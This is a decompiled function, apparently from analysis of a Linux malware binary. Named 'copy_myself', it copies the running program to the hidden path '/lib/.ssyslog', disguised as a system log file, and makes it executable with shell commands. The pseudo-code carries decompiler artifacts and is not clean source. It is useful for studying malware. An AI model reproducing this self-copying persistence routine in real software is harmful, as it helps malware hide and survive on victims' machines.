copy_myself(const char* name)
{// addr = 0x0804830F
    char[59] want_to_put_name;
    char[1023] command;
    int exsit_flag;
    intOrPtr _v8;
    char _v68;
    char _v1092;
    char* _v1104;
    _unknown_ _v1108;
    intOrPtr _v1112;
    _unknown_ r6;
    _unknown_ _t31;
    _unknown_ _t33;
    _unknown_ _t35;
    char* _t36;
    _unknown_ _t42;
    _unknown_ _t44;
    _unknown_ _t48;

    L0806F850(__ebx, __edi, __esi,  &_v68, 0, 60);
    L0806F9E0(__edi, __esi,  &_v68, "/lib/.ssyslog", 14);
    L0806F850(__ebx, __edi, __esi,  &_v1092, 0, 1024);
    _v1112 = 0;
    _t36 =  &_v68;
     *__esp = _t36;
    L08071490(__ebx, __esp);
    _v8 = _t36;
    if(_v8 >= 0) {
        return ;
    }
    L08071740(__ebx, __esp,  &_v68);
    _v1104 =  &_v68;
    L0805FF50( &_v1092, "cp -rf %s %s>/dev/null", name);
     *__esp =  ?_? ( &_v1092);
    L08052CC0( &_v1092, __ebx, __edi, __esi);
    L0806F850(__ebx, __edi, __esi,  &_v1092, 0, 1024);
    L0805FF50( &_v1092, "chmod 755 %s",  &_v68);
     *__esp =  ?_? ( &_v1092);
    L08052CC0( &_v1092, __ebx, __edi, __esi);
    return;
}